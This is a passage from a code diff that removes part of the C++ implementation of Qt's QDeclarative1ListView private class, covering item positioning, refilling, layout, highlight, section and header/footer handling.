const { - Q_Q(const QDeclarative1ListView); - return orient == QDeclarative1ListView::Vertical ? q->contentY() : q->contentX(); - } - - void setPosition(qreal pos) { - Q_Q(QDeclarative1ListView); - if (orient == QDeclarative1ListView::Vertical) { - q->QDeclarative1Flickable::setContentY(pos); - } else { - if (isRightToLeft()) - q->QDeclarative1Flickable::setContentX(-pos-size()); - else - q->QDeclarative1Flickable::setContentX(pos); - } - } - qreal size() const { - Q_Q(const QDeclarative1ListView); - return orient == QDeclarative1ListView::Vertical ? q->height() : q->width(); - } - - qreal originPosition() const { - qreal pos = 0; - if (!visibleItems.isEmpty()) { - pos = (*visibleItems.constBegin())->position(); - if (visibleIndex > 0) - pos -= visibleIndex * (averageSize + spacing); - } - return pos; - } - - qreal lastPosition() const { - qreal pos = 0; - if (!visibleItems.isEmpty()) { - int invisibleCount = visibleItems.count() - visibleIndex; - for (int i = visibleItems.count()-1; i >= 0; --i) { - if (visibleItems.at(i)->index != -1) { - invisibleCount = model->count() - visibleItems.at(i)->index - 1; - break; - } - } - pos = (*(--visibleItems.constEnd()))->endPosition() + invisibleCount * (averageSize + spacing); - } else if (model && model->count()) { - pos = model->count() * averageSize + (model->count()-1) * spacing; - } - return pos; - } - - qreal startPosition() const { - return isRightToLeft() ? -lastPosition()-1 : originPosition(); - } - - qreal endPosition() const { - return isRightToLeft() ? -originPosition()-1 : lastPosition(); - } - - qreal positionAt(int modelIndex) const { - if (FxListItem1 *item = visibleItem(modelIndex)) - return item->position(); - if (!visibleItems.isEmpty()) { - if (modelIndex < visibleIndex) { - int count = visibleIndex - modelIndex; - qreal cs = 0; - if (modelIndex == currentIndex && currentItem) { - cs = currentItem->size() + spacing; - --count; - } - return (*visibleItems.constBegin())->position() - count * (averageSize + spacing) - cs; - } else { - int idx = visibleItems.count() - 1; - while (idx >= 0 && visibleItems.at(idx)->index == -1) - --idx; - if (idx < 0) - idx = visibleIndex; - else - idx = visibleItems.at(idx)->index; - int count = modelIndex - idx - 1; - - return (*(--visibleItems.constEnd()))->endPosition() + spacing + count * (averageSize + spacing) + 1; - } - } - return 0; - } - - qreal endPositionAt(int modelIndex) const { - if (FxListItem1 *item = visibleItem(modelIndex)) - return item->endPosition(); - if (!visibleItems.isEmpty()) { - if (modelIndex < visibleIndex) { - int count = visibleIndex - modelIndex; - return (*visibleItems.constBegin())->position() - (count - 1) * (averageSize + spacing) - spacing - 1; - } else { - int idx = visibleItems.count() - 1; - while (idx >= 0 && visibleItems.at(idx)->index == -1) - --idx; - if (idx < 0) - idx = visibleIndex; - else - idx = visibleItems.at(idx)->index; - int count = modelIndex - idx - 1; - return (*(--visibleItems.constEnd()))->endPosition() + count * (averageSize + spacing); - } - } - return 0; - } - - QString sectionAt(int modelIndex) { - if (FxListItem1 *item = visibleItem(modelIndex)) - return item->attached->section(); - - QString section; - if (sectionCriteria) { - QString propValue = model->stringValue(modelIndex, sectionCriteria->property()); - section = sectionCriteria->sectionString(propValue); - } - - return section; - } - - bool isValid() const { - return model && model->count() && model->isValid(); - } - - qreal snapPosAt(qreal pos) { - if (FxListItem1 *snapItem = snapItemAt(pos)) - return snapItem->position(); - if (visibleItems.count()) { - qreal firstPos = visibleItems.first()->position(); - qreal endPos = visibleItems.last()->position(); - if (pos < firstPos) { - return firstPos - qRound((firstPos - pos) / averageSize) * averageSize; - } else if (pos > endPos) - return endPos + qRound((pos - endPos) / averageSize) * averageSize; - } - return qRound((pos - originPosition()) / averageSize) * averageSize + originPosition(); - } - - FxListItem1 *snapItemAt(qreal pos) { - FxListItem1 *snapItem = 0; - qreal prevItemSize = 0; - for (int i = 0; i < visibleItems.count(); ++i) { - FxListItem1 *item = visibleItems[i]; - if (item->index == -1) - continue; - qreal itemTop = item->position(); - if (highlight && itemTop >= pos && item->endPosition() <= pos + highlight->size() - 1) - return item; - if (itemTop+item->size()/2 >= pos && itemTop-prevItemSize/2 < pos) - snapItem = item; - prevItemSize = item->size(); - } - return snapItem; - } - - int lastVisibleIndex() const { - int lastIndex = -1; - for (int i = visibleItems.count()-1; i >= 0; --i) { - FxListItem1 *listItem = visibleItems.at(i); - if (listItem->index != -1) { - lastIndex = listItem->index; - break; - } - } - return lastIndex; - } - - // map a model index to visibleItems index. - int mapFromModel(int modelIndex) const { - if (modelIndex < visibleIndex || modelIndex >= visibleIndex + visibleItems.count()) - return -1; - for (int i = 0; i < visibleItems.count(); ++i) { - FxListItem1 *listItem = visibleItems.at(i); - if (listItem->index == modelIndex) - return i; - if (listItem->index > modelIndex) - return -1; - } - return -1; // Not in visibleList - } - - void updateViewport() { - Q_Q(QDeclarative1ListView); - if (orient == QDeclarative1ListView::Vertical) { - q->setContentHeight(endPosition() - startPosition() + 1); - } else { - q->setContentWidth(endPosition() - startPosition() + 1); - } - } - - void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) { - Q_Q(QDeclarative1ListView); - QDeclarative1FlickablePrivate::itemGeometryChanged(item, newGeometry, oldGeometry); - if (!q->isComponentComplete()) - return; - if (item != contentItem && (!highlight || item != highlight->item)) { - if ((orient == QDeclarative1ListView::Vertical && newGeometry.height() != oldGeometry.height()) - || (orient == QDeclarative1ListView::Horizontal && newGeometry.width() != oldGeometry.width())) { - scheduleLayout(); - } - } - if ((header && header->item == item) || (footer && footer->item == item)) { - if (header) - updateHeader(); - if (footer) - updateFooter(); - } - if (currentItem && currentItem->item == item) - updateHighlight(); - if (trackedItem && trackedItem->item == item) - q->trackedPositionChanged(); - } - - // for debugging only - void checkVisible() const { - int skip = 0; - for (int i = 0; i < visibleItems.count(); ++i) { - FxListItem1 *listItem = visibleItems.at(i); - if (listItem->index == -1) { - ++skip; - } else if (listItem->index != visibleIndex + i - skip) { - qFatal("index %d %d %d", visibleIndex, i, listItem->index); - } - } - } - - void refill(qreal from, qreal to, bool doBuffer = false); - void scheduleLayout(); - void layout(); - void updateUnrequestedIndexes(); - void updateUnrequestedPositions(); - void updateTrackedItem(); - void createHighlight(); - void updateHighlight(); - void createSection(FxListItem1 *); - void updateSections(); - void updateCurrentSection(); - void updateCurrent(int); - void updateAverage(); - void updateHeader(); - void updateFooter(); - void fixupPosition(); - void positionViewAtIndex(int index, int mode); - virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); - virtual void flick(QDeclarative1FlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity); - - QDeclarativeGuard model; - QVariant modelVariant; - QList visibleItems; - QHash unrequestedItems; - FxListItem1 *currentItem; - QDeclarative1ListView::Orientation orient; - Qt::LayoutDirection layoutDirection; - qreal visiblePos; - int visibleIndex; - qreal averageSize; - int currentIndex; - int requestedIndex; - int itemCount; - qreal highlightRangeStart; - qreal highlightRangeEnd; - bool highlightRangeStartValid; - bool highlightRangeEndValid; - QDeclarativeComponent *highlightComponent; - FxListItem1 *highlight; - FxListItem1 *trackedItem; - enum MovementReason { Other, SetIndex, Mouse }; - MovementReason moveReason; - int buffer; - QSmoothedAnimation_1 *highlightPosAnimator; - QSmoothedAnimation_1 *highlightSizeAnimator; - QDeclarative1ViewSection *sectionCriteria; - QString currentSection; - static const int sectionCacheSize = 4; - QDeclarativeItem *sectionCache[sectionCacheSize]; - qreal spacing; - qreal highlightMoveSpeed; - int highlightMoveDuration; - qreal highlightResizeSpeed; - int highlightResizeDuration; - QDeclarative1ListView::HighlightRangeMode highlightRange; - QDeclarative1ListView::SnapMode snapMode; - qreal overshootDist; - QDeclarativeComponent *footerComponent; - FxListItem1 *footer; - QDeclarativeComponent *headerComponent; - FxListItem1 *header; - enum BufferMode { NoBuffer = 0x00, BufferBefore = 0x01, BufferAfter = 0x02 }; - int bufferMode; - mutable qreal minExtent; - mutable qreal maxExtent; - - bool ownModel : 1; - bool wrap : 1; - bool autoHighlight : 1; - bool haveHighlightRange : 1; - bool correctFlick : 1; - bool inFlickCorrection : 1; - bool lazyRelease : 1; - bool deferredRelease : 1; - bool layoutScheduled : 1; - bool currentIndexCleared : 1; - bool inViewportMoved : 1; - mutable bool minExtentDirty : 1; - mutable bool maxExtentDirty : 1; -}; - -void QDeclarative1ListViewPrivate::init() -{ - Q_Q(QDeclarative1ListView); - q->setFlag(QGraphicsItem::ItemIsFocusScope); - addItemChangeListener(this, Geometry); - QObject::connect(q, SIGNAL(movementEnded()), q, SLOT(animStopped())); - q->setFlickableDirection(QDeclarative1Flickable::VerticalFlick); - ::memset(sectionCache, 0, sizeof(QDeclarativeItem*) * sectionCacheSize); -} - -void QDeclarative1ListViewPrivate::clear() -{ - timeline.clear(); - for (int i = 0; i < visibleItems.count(); ++i) - releaseItem(visibleItems.at(i)); - visibleItems.clear(); - for (int i = 0; i < sectionCacheSize; ++i) { - delete sectionCache[i]; - sectionCache[i] = 0; - } - visiblePos = header ? header->size() : 0; - visibleIndex = 0; - releaseItem(currentItem); - currentItem = 0; - createHighlight(); - trackedItem = 0; - minExtentDirty = true; - maxExtentDirty = true; - itemCount = 0; -} - -FxListItem1 *QDeclarative1ListViewPrivate::createItem(int modelIndex) -{ - Q_Q(QDeclarative1ListView); - // create object - requestedIndex = modelIndex; - FxListItem1 *listItem = 0; - if (QDeclarativeItem *item = model->item(modelIndex, false)) { - listItem = new FxListItem1(item, q); - listItem->index = modelIndex; - // initialise attached properties - if (sectionCriteria) { - QString propValue = model->stringValue(modelIndex, sectionCriteria->property()); - listItem->attached->m_section = sectionCriteria->sectionString(propValue); - if (modelIndex > 0) { - if (FxListItem1 *item = itemBefore(modelIndex)) - listItem->attached->m_prevSection = item->attached->section(); - else - listItem->attached->m_prevSection = sectionAt(modelIndex-1); - } - if (modelIndex < model->count()-1) { - if (FxListItem1 *item = visibleItem(modelIndex+1)) - listItem->attached->m_nextSection = item->attached->section(); - else - listItem->attached->m_nextSection = sectionAt(modelIndex+1); - } - } - if (model->completePending()) { - // complete - listItem->item->setZValue(1); - listItem->item->setParentItem(q->contentItem()); - model->completeItem(); - } else { - listItem->item->setParentItem(q->contentItem()); - } - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - if (sectionCriteria && sectionCriteria->delegate()) { - if (listItem->attached->m_prevSection != listItem->attached->m_section) - createSection(listItem); - } - unrequestedItems.remove(listItem->item); - } - requestedIndex = -1; - - return listItem; -} - -void QDeclarative1ListViewPrivate::releaseItem(FxListItem1 *item) -{ - Q_Q(QDeclarative1ListView); - if (!item || !model) - return; - if (trackedItem == item) - trackedItem = 0; - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item->item)); - itemPrivate->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - if (model->release(item->item) == 0) { - // item was not destroyed, and we no longer reference it. - unrequestedItems.insert(item->item, model->indexOf(item->item, q)); - } - if (item->section) { - int i = 0; - do { - if (!sectionCache[i]) { - sectionCache[i] = item->section; - sectionCache[i]->setVisible(false); - item->section = 0; - break; - } - ++i; - } while (i < sectionCacheSize); - delete item->section; - } - delete item; -} - -void QDeclarative1ListViewPrivate::refill(qreal from, qreal to, bool doBuffer) -{ - Q_Q(QDeclarative1ListView); - if (!isValid() || !q->isComponentComplete()) - return; - itemCount = model->count(); - qreal bufferFrom = from - buffer; - qreal bufferTo = to + buffer; - qreal fillFrom = from; - qreal fillTo = to; - if (doBuffer && (bufferMode & BufferAfter)) - fillTo = bufferTo; - if (doBuffer && (bufferMode & BufferBefore)) - fillFrom = bufferFrom; - - bool haveValidItems = false; - int modelIndex = visibleIndex; - qreal itemEnd = visiblePos-1; - if (!visibleItems.isEmpty()) { - visiblePos = (*visibleItems.constBegin())->position(); - itemEnd = (*(--visibleItems.constEnd()))->endPosition() + spacing; - int i = visibleItems.count() - 1; - while (i > 0 && visibleItems.at(i)->index == -1) - --i; - if (visibleItems.at(i)->index != -1) { - haveValidItems = true; - modelIndex = visibleItems.at(i)->index + 1; - } - } - - if (haveValidItems && (fillFrom > itemEnd+averageSize+spacing - || fillTo < visiblePos - averageSize - spacing)) { - // We've jumped more than a page. Estimate which items are now - // visible and fill from there. - int count = (fillFrom - itemEnd) / (averageSize + spacing); - for (int i = 0; i < visibleItems.count(); ++i) - releaseItem(visibleItems.at(i)); - visibleItems.clear(); - modelIndex += count; - if (modelIndex >= model->count()) { - count -= modelIndex - model->count() + 1; - modelIndex = model->count() - 1; - } else if (modelIndex < 0) { - count -= modelIndex; - modelIndex = 0; - } - visibleIndex = modelIndex; - visiblePos = itemEnd + count * (averageSize + spacing) + 1; - itemEnd = visiblePos-1; - } - - bool changed = false; - FxListItem1 *item = 0; - qreal pos = itemEnd + 1; - while (modelIndex < model->count() && pos <= fillTo) { -// qDebug() << "refill: append item" << modelIndex << "pos" << pos; - if (!(item = createItem(modelIndex))) - break; - item->setPosition(pos); - pos += item->size() + spacing; - visibleItems.append(item); - ++modelIndex; - changed = true; - if (doBuffer) // never buffer more than one item per frame - break; - } - while (visibleIndex > 0 && visibleIndex <= model->count() && visiblePos-1 >= fillFrom) { -// qDebug() << "refill: prepend item" << visibleIndex-1 << "current top pos" << visiblePos; - if (!(item = createItem(visibleIndex-1))) - break; - --visibleIndex; - visiblePos -= item->size() + spacing; - item->setPosition(visiblePos); - visibleItems.prepend(item); - changed = true; - if (doBuffer) // never buffer more than one item per frame - break; - } - - if (!lazyRelease || !changed || deferredRelease) { // avoid destroying items in the same frame that we create - while (visibleItems.count() > 1 && (item = visibleItems.first()) && item->endPosition() < bufferFrom) { - if (item->attached->delayRemove()) - break; -// qDebug() << "refill: remove first" << visibleIndex << "top end pos" << item->endPosition(); - if (item->index != -1) - visibleIndex++; - visibleItems.removeFirst(); - releaseItem(item); - changed = true; - } - while (visibleItems.count() > 1 && (item = visibleItems.last()) && item->position() > bufferTo) { - if (item->attached->delayRemove()) - break; -// qDebug() << "refill: remove last" << visibleIndex+visibleItems.count()-1 << item->position(); - visibleItems.removeLast(); - releaseItem(item); - changed = true; - } - deferredRelease = false; - } else { - deferredRelease = true; - } - if (changed) { - minExtentDirty = true; - maxExtentDirty = true; - if (visibleItems.count()) - visiblePos = (*visibleItems.constBegin())->position(); - updateAverage(); - if (currentIndex >= 0 && currentItem && !visibleItem(currentIndex)) { - currentItem->setPosition(positionAt(currentIndex)); - updateHighlight(); - } - - if (sectionCriteria) - updateCurrentSection(); - if (header) - updateHeader(); - if (footer) - updateFooter(); - updateViewport(); - updateUnrequestedPositions(); - } else if (!doBuffer && buffer && bufferMode != NoBuffer) { - refill(from, to, true); - } - lazyRelease = false; -} - -void QDeclarative1ListViewPrivate::scheduleLayout() -{ - Q_Q(QDeclarative1ListView); - if (!layoutScheduled) { - layoutScheduled = true; - QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority); - } -} - -void QDeclarative1ListViewPrivate::layout() -{ - Q_Q(QDeclarative1ListView); - layoutScheduled = false; - if (!isValid() && !visibleItems.count()) { - clear(); - setPosition(0); - return; - } - if (!visibleItems.isEmpty()) { - bool fixedCurrent = currentItem && visibleItems.first()->item == currentItem->item; - qreal sum = visibleItems.first()->size(); - qreal pos = visibleItems.first()->position() + visibleItems.first()->size() + spacing; - for (int i=1; i < visibleItems.count(); ++i) { - FxListItem1 *item = visibleItems.at(i); - item->setPosition(pos); - pos += item->size() + spacing; - sum += item->size(); - fixedCurrent = fixedCurrent || (currentItem && item->item == currentItem->item); - } - averageSize = qRound(sum / visibleItems.count()); - // move current item if it is not a visible item. - if (currentIndex >= 0 && currentItem && !fixedCurrent) - currentItem->setPosition(positionAt(currentIndex)); - } - q->refill(); - minExtentDirty = true; - maxExtentDirty = true; - updateHighlight(); - if (!q->isMoving() && !q->isFlicking()) { - fixupPosition(); - q->refill(); - } - if (header) - updateHeader(); - if (footer) - updateFooter(); - updateViewport(); -} - -void QDeclarative1ListViewPrivate::updateUnrequestedIndexes() -{ - Q_Q(QDeclarative1ListView); - QHash::iterator it; - for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) - *it = model->indexOf(it.key(), q); -} - -void QDeclarative1ListViewPrivate::updateUnrequestedPositions() -{ - Q_Q(QDeclarative1ListView); - if (unrequestedItems.count()) { - qreal pos = position(); - QHash::const_iterator it; - for (it = unrequestedItems.begin(); it != unrequestedItems.end(); ++it) { - QDeclarativeItem *item = it.key(); - if (orient == QDeclarative1ListView::Vertical) { - if (item->y() + item->height() > pos && item->y() < pos + q->height()) - item->setY(positionAt(*it)); - } else { - if (item->x() + item->width() > pos && item->x() < pos + q->width()) { - if (isRightToLeft()) - item->setX(-positionAt(*it)-item->width()); - else - item->setX(positionAt(*it)); - } - } - } - } -} - -void QDeclarative1ListViewPrivate::updateTrackedItem() -{ - Q_Q(QDeclarative1ListView); - FxListItem1 *item = currentItem; - if (highlight) - item = highlight; - trackedItem = item; - if (trackedItem) - q->trackedPositionChanged(); -} - -void QDeclarative1ListViewPrivate::createHighlight() -{ - Q_Q(QDeclarative1ListView); - bool changed = false; - if (highlight) { - if (trackedItem == highlight) - trackedItem = 0; - if (highlight->item->scene()) - highlight->item->scene()->removeItem(highlight->item); - highlight->item->deleteLater(); - delete highlight; - highlight = 0; - delete highlightPosAnimator; - delete highlightSizeAnimator; - highlightPosAnimator = 0; - highlightSizeAnimator = 0; - changed = true; - } - - if (currentItem) { - QDeclarativeItem *item = 0; - if (highlightComponent) { - QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = highlightComponent->create(highlightContext); - if (nobj) { - QDeclarative_setParent_noEvent(highlightContext, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete highlightContext; - } - } else { - item = new QDeclarativeItem; - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - highlight = new FxListItem1(item, q); - if (currentItem && autoHighlight) { - if (orient == QDeclarative1ListView::Vertical) { - highlight->item->setHeight(currentItem->item->height()); - } else { - highlight->item->setWidth(currentItem->item->width()); - } - highlight->setPosition(currentItem->itemPosition()); - } - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - const QLatin1String posProp(orient == QDeclarative1ListView::Vertical ? "y" : "x"); - highlightPosAnimator = new QSmoothedAnimation_1(q); - highlightPosAnimator->target = QDeclarativeProperty(highlight->item, posProp); - highlightPosAnimator->velocity = highlightMoveSpeed; - highlightPosAnimator->userDuration = highlightMoveDuration; - const QLatin1String sizeProp(orient == QDeclarative1ListView::Vertical ? "height" : "width"); - highlightSizeAnimator = new QSmoothedAnimation_1(q); - highlightSizeAnimator->velocity = highlightResizeSpeed; - highlightSizeAnimator->userDuration = highlightResizeDuration; - highlightSizeAnimator->target = QDeclarativeProperty(highlight->item, sizeProp); - if (autoHighlight) { - highlightPosAnimator->restart(); - highlightSizeAnimator->restart(); - } - changed = true; - } - } - if (changed) - emit q->highlightItemChanged(); -} - -void QDeclarative1ListViewPrivate::updateHighlight() -{ - if ((!currentItem && highlight) || (currentItem && !highlight)) - createHighlight(); - if (currentItem && autoHighlight && highlight && !hData.moving && !vData.moving) { - // auto-update highlight - highlightPosAnimator->to = isRightToLeft() - ? -currentItem->itemPosition()-currentItem->itemSize() - : currentItem->itemPosition(); - highlightSizeAnimator->to = currentItem->itemSize(); - if (orient == QDeclarative1ListView::Vertical) { - if (highlight->item->width() == 0) - highlight->item->setWidth(currentItem->item->width()); - } else { - if (highlight->item->height() == 0) - highlight->item->setHeight(currentItem->item->height()); - } - highlightPosAnimator->restart(); - highlightSizeAnimator->restart(); - } - updateTrackedItem(); -} - -void QDeclarative1ListViewPrivate::createSection(FxListItem1 *listItem) -{ - Q_Q(QDeclarative1ListView); - if (!sectionCriteria || !sectionCriteria->delegate()) - return; - if (listItem->attached->m_prevSection != listItem->attached->m_section) { - if (!listItem->section) { - qreal pos = listItem->position(); - int i = sectionCacheSize-1; - while (i >= 0 && !sectionCache[i]) - --i; - if (i >= 0) { - listItem->section = sectionCache[i]; - sectionCache[i] = 0; - listItem->section->setVisible(true); - QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext(); - context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); - } else { - QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); - context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); - QObject *nobj = sectionCriteria->delegate()->beginCreate(context); - if (nobj) { - QDeclarative_setParent_noEvent(context, nobj); - listItem->section = qobject_cast(nobj); - if (!listItem->section) { - delete nobj; - } else { - listItem->section->setZValue(1); - QDeclarative_setParent_noEvent(listItem->section, q->contentItem()); - listItem->section->setParentItem(q->contentItem()); - } - } else { - delete context; - } - sectionCriteria->delegate()->completeCreate(); - } - listItem->setPosition(pos); - } else { - QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext(); - context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); - } - } else if (listItem->section) { - qreal pos = listItem->position(); - int i = 0; - do { - if (!sectionCache[i]) { - sectionCache[i] = listItem->section; - sectionCache[i]->setVisible(false); - listItem->section = 0; - return; - } - ++i; - } while (i < sectionCacheSize); - delete listItem->section; - listItem->section = 0; - listItem->setPosition(pos); - } -} - -void QDeclarative1ListViewPrivate::updateSections() -{ - if (sectionCriteria && !visibleItems.isEmpty()) { - QString prevSection; - if (visibleIndex > 0) - prevSection = sectionAt(visibleIndex-1); - QDeclarative1ListViewAttached *prevAtt = 0; - int idx = -1; - for (int i = 0; i < visibleItems.count(); ++i) { - QDeclarative1ListViewAttached *attached = visibleItems.at(i)->attached; - attached->setPrevSection(prevSection); - if (visibleItems.at(i)->index != -1) { - QString propValue = model->stringValue(visibleItems.at(i)->index, sectionCriteria->property()); - attached->setSection(sectionCriteria->sectionString(propValue)); - idx = visibleItems.at(i)->index; - } - createSection(visibleItems.at(i)); - if (prevAtt) - prevAtt->setNextSection(attached->section()); - prevSection = attached->section(); - prevAtt = attached; - } - if (prevAtt) { - if (idx > 0 && idx < model->count()-1) - prevAtt->setNextSection(sectionAt(idx+1)); - else - prevAtt->setNextSection(QString()); - } - } -} - -void QDeclarative1ListViewPrivate::updateCurrentSection() -{ - Q_Q(QDeclarative1ListView); - if (!sectionCriteria || visibleItems.isEmpty()) { - if (!currentSection.isEmpty()) { - currentSection.clear(); - emit q->currentSectionChanged(); - } - return; - } - int index = 0; - while (index < visibleItems.count() && visibleItems.at(index)->endPosition() < position()) - ++index; - - QString newSection = currentSection; - if (index < visibleItems.count()) - newSection = visibleItems.at(index)->attached->section(); - else - newSection = visibleItems.first()->attached->section(); - if (newSection != currentSection) { - currentSection = newSection; - emit q->currentSectionChanged(); - } -} - -void QDeclarative1ListViewPrivate::updateCurrent(int modelIndex) -{ - Q_Q(QDeclarative1ListView); - if (!q->isComponentComplete() || !isValid() || modelIndex < 0 || modelIndex >= model->count()) { - if (currentItem) { - currentItem->attached->setIsCurrentItem(false); - releaseItem(currentItem); - currentItem = 0; - currentIndex = modelIndex; - emit q->currentIndexChanged(); - updateHighlight(); - } else if (currentIndex != modelIndex) { - currentIndex = modelIndex; - emit q->currentIndexChanged(); - } - return; - } - - if (currentItem && currentIndex == modelIndex) { - updateHighlight(); - return; - } - FxListItem1 *oldCurrentItem = currentItem; - currentIndex = modelIndex; - currentItem = createItem(modelIndex); - if (oldCurrentItem && (!currentItem || oldCurrentItem->item != currentItem->item)) - oldCurrentItem->attached->setIsCurrentItem(false); - if (currentItem) { - if (modelIndex == visibleIndex - 1 && visibleItems.count()) { - // We can calculate exact postion in this case - currentItem->setPosition(visibleItems.first()->position() - currentItem->size() - spacing); - } else { - // Create current item now and position as best we can. - // Its position will be corrected when it becomes visible. - currentItem->setPosition(positionAt(modelIndex)); - } - currentItem->item->setFocus(true); - currentItem->attached->setIsCurrentItem(true); - // Avoid showing section delegate twice. We still need the section heading so that - // currentItem positioning works correctly. - // This is slightly sub-optimal, but section heading caching minimizes the impact. - if (currentItem->section) - currentItem->section->setVisible(false); - if (visibleItems.isEmpty()) - averageSize = currentItem->size(); - } - updateHighlight(); - emit q->currentIndexChanged(); - // Release the old current item - releaseItem(oldCurrentItem); -} - -void QDeclarative1ListViewPrivate::updateAverage() -{ - if (!visibleItems.count()) - return; - qreal sum = 0.0; - for (int i = 0; i < visibleItems.count(); ++i) - sum += visibleItems.at(i)->size(); - averageSize = qRound(sum / visibleItems.count()); -} - -void QDeclarative1ListViewPrivate::updateFooter() -{ - Q_Q(QDeclarative1ListView); - if (!footer && footerComponent) { - QDeclarativeItem *item = 0; - QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = footerComponent->create(context); - if (nobj) { - QDeclarative_setParent_noEvent(context, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete context; - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - item->setZValue(1); - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - footer = new FxListItem1(item, q); - } - } - if (footer) { - if (visibleItems.count()) { - qreal endPos = lastPosition() + 1; - if (lastVisibleIndex() == model->count()-1) { - footer->setPosition(endPos); - } else { - qreal visiblePos = position() + q->height(); - if (endPos <= visiblePos || footer->position() < endPos) - footer->setPosition(endPos); - } - } else { - footer->setPosition(visiblePos); - } - } -} - -void QDeclarative1ListViewPrivate::updateHeader() -{ - Q_Q(QDeclarative1ListView); - if (!header && headerComponent) { - QDeclarativeItem *item = 0; - QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = headerComponent->create(context); - if (nobj) { - QDeclarative_setParent_noEvent(context, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete context; - } - if (item) { - QDeclarative_setParent_noEvent(item, q->contentItem()); - item->setParentItem(q->contentItem()); - item->setZValue(1); - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - header = new FxListItem1(item, q); - } - } - if (header) { - if (visibleItems.count()) { - qreal startPos = originPosition(); - if (visibleIndex == 0) { - header->setPosition(startPos - header->size()); - } else { - if (position() <= startPos || header->position() > startPos - header->size()) - header->setPosition(startPos - header->size()); - } - } else { - visiblePos = header->size(); - header->setPosition(0); - } - } -} - -void QDeclarative1ListViewPrivate::fixupPosition() -{ - if ((haveHighlightRange && highlightRange == QDeclarative1ListView::StrictlyEnforceRange) - || snapMode != QDeclarative1ListView::NoSnap) - moveReason = Other; - if (orient == QDeclarative1ListView::Vertical) - fixupY(); - else - fixupX(); -} - -void QDeclarative1ListViewPrivate::fixup(AxisData &data, qreal minExtent, qreal maxExtent) -{ - if ((orient == QDeclarative1ListView::Horizontal && &data == &vData) - || (orient == QDeclarative1ListView::Vertical && &data == &hData)) - return; - - correctFlick = false; - fixupMode = moveReason == Mouse ? fixupMode : Immediate; - bool strictHighlightRange = haveHighlightRange && highlightRange == QDeclarative1ListView::StrictlyEnforceRange; - - qreal highlightStart; - qreal highlightEnd; - qreal viewPos; - if (isRightToLeft()) { - // Handle Right-To-Left exceptions - viewPos = -position()-size(); - highlightStart = highlightRangeStartValid ? size() - highlightRangeEnd : highlightRangeStart; - highlightEnd = highlightRangeEndValid ? size() - highlightRangeStart : highlightRangeEnd; - } else { - viewPos = position(); - highlightStart = highlightRangeStart; - highlightEnd = highlightRangeEnd; - } - - if (snapMode != QDeclarative1ListView::NoSnap && moveReason != QDeclarative1ListViewPrivate::SetIndex) { - qreal tempPosition = isRightToLeft() ? -position()-size() : position(); - if (snapMode == QDeclarative1ListView::SnapOneItem && moveReason == Mouse) { - // if we've been dragged < averageSize/2 then bias towards the next item - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = 0; - if (data.velocity > 0 && dist > QML_FLICK_SNAPONETHRESHOLD && dist < averageSize/2) - bias = averageSize/2; - else if (data.velocity < 0 && dist < -QML_FLICK_SNAPONETHRESHOLD && dist > -averageSize/2) - bias = -averageSize/2; - if (isRightToLeft()) - bias = -bias; - tempPosition -= bias; - } - FxListItem1 *topItem = snapItemAt(tempPosition+highlightStart); - if (!topItem && strictHighlightRange && currentItem) { - // StrictlyEnforceRange always keeps an item in range - updateHighlight(); - topItem = currentItem; - } - FxListItem1 *bottomItem = snapItemAt(tempPosition+highlightEnd); - if (!bottomItem && strictHighlightRange && currentItem) { - // StrictlyEnforceRange always keeps an item in range - updateHighlight(); - bottomItem = currentItem; - } - qreal pos; - bool isInBounds = -position() > maxExtent && -position() <= minExtent; - if (topItem && (isInBounds || strictHighlightRange)) { - if (topItem->index == 0 && header && tempPosition+highlightStart < header->position()+header->size()/2 && !strictHighlightRange) { - pos = isRightToLeft() ? - header->position() + highlightStart - size() : header->position() - highlightStart; - } else { - if (isRightToLeft()) - pos = qMax(qMin(-topItem->position() + highlightStart - size(), -maxExtent), -minExtent); - else - pos = qMax(qMin(topItem->position() - highlightStart, -maxExtent), -minExtent); - } - } else if (bottomItem && isInBounds) { - if (isRightToLeft()) - pos = qMax(qMin(-bottomItem->position() + highlightEnd - size(), -maxExtent), -minExtent); - else - pos = qMax(qMin(bottomItem->position() - highlightEnd, -maxExtent), -minExtent); - } else { - QDeclarative1FlickablePrivate::fixup(data, minExtent, maxExtent); - return; - } - - qreal dist = qAbs(data.move + pos); - if (dist > 0) { - timeline.reset(data.move); - if (fixupMode != Immediate) { - timeline.move(data.move, -pos, 